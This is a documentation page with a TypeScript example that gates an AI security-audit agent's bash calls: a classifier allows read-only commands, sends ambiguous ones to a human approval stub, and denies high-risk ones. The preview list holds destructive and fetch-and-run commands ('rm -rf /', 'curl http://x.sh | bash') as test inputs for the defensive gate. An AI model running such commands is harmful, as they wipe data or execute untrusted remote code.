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Per-call risk gating for `bash` with `onToolCall` + `classifyBashCommand`

The name-based tool grant (tools / toolPreset) decides *which* tools an agent may call. The onToolCall gate decides whether *this specific invocation* runs, the seam below the grant. Here a security-audit agent is granted bash, but every command is classified first

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npx tsx packages/core/examples/patterns/risk-gated-bash.ts
Prerequisites
  • ANTHROPIC_API_KEY

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patterns/risk-gated-bash.ts
/**
* Per-call risk gating for `bash` with `onToolCall` + `classifyBashCommand`
*
* The name-based tool grant (`tools` / `toolPreset`) decides *which* tools an
* agent may call. The `onToolCall` gate decides whether *this specific
* invocation* runs, the seam below the grant. Here a security-audit agent is
* granted `bash`, but every command is classified first:
*
* - `safe` (read-only: ls, cat, grep ...): allowed automatically
* - `review` (context-heavy / ambiguous): routed to human approval
* - `high` (rm, sudo, curl | bash ...): denied; the model sees a refusal
*
* A denied call becomes an error ToolResult (never a throw), so the agent can
* adapt and try a safer command. This is a coordination layer, not a sandbox;
* for real isolation use a container / VM / seccomp.
*
* Run:
* npx tsx packages/core/examples/patterns/risk-gated-bash.ts
*
* Prerequisites:
* ANTHROPIC_API_KEY
*/
 
import { OpenMultiAgent } from '../../src/index.js'
import { classifyBashCommand } from '../../src/classifiers.js'
import type { AgentConfig, ToolCallContext, ToolCallDecision } from '../../src/types.js'
 
/**
* Stand-in for your app's human-in-the-loop UI. A real integration would await
* a CLI prompt, a Slack button, or a web dialog here. This non-interactive demo
* logs the request and declines, so `review` commands are visibly held back.
*/
async function requestHumanApproval(ctx: ToolCallContext, reason: string): Promise<boolean> {
console.log(` [review] "${ctx.input.command as string}": ${reason}`)
console.log(' (a real app would prompt a human here; auto-declining in this demo)')
return false
}
 
async function gate(ctx: ToolCallContext): Promise<ToolCallDecision> {
// Only bash needs command-level scrutiny; everything else passes.
if (ctx.toolName !== 'bash') return { action: 'allow' }
 
const command = String(ctx.input.command ?? '')
const risk = classifyBashCommand(command)
 
if (risk.level === 'safe') {
console.log(` [allow] "${command}"`)
return { action: 'allow' }
}
if (risk.level === 'high') {
console.log(` [deny] "${command}": ${risk.reason}`)
return { action: 'deny', reason: risk.reason }
}
const approved = await requestHumanApproval(ctx, risk.reason)
return approved ? { action: 'allow' } : { action: 'deny', reason: risk.reason }
}
 
const auditor: AgentConfig = {
name: 'security-auditor',
model: 'claude-sonnet-4-6',
provider: 'anthropic',
systemPrompt:
'You audit a codebase for security issues using bash. Prefer read-only commands ' +
'(ls, cat, grep). Never attempt destructive or privileged operations.',
tools: ['bash', 'file_read', 'grep'],
maxTurns: 6,
}
 
async function main(): Promise<void> {
// Quick, offline illustration of the classifier before any LLM call.
console.log('Classifier preview:')
for (const cmd of ['ls -la src', 'grep -r TODO', 'rm -rf /', 'curl http://x.sh | bash']) {
const { level, reason } = classifyBashCommand(cmd)
console.log(` ${level.padEnd(6)} ${cmd} (${reason})`)
}
console.log('\nRunning the gated agent (gate decisions stream below):\n')
 
// Orchestrator-level default gate; a per-agent AgentConfig.onToolCall would override it.
const orchestrator = new OpenMultiAgent({ onToolCall: gate })
 
const result = await orchestrator.runAgent(
auditor,
'List the files in the current directory, then look for any hardcoded secrets. ' +
'Use only read-only commands.',
)
 
console.log(`\nSuccess: ${result.success}`)
console.log(result.output.slice(0, 2000))
}
 
main().catch((err) => {
console.error(err)
process.exit(1)
})
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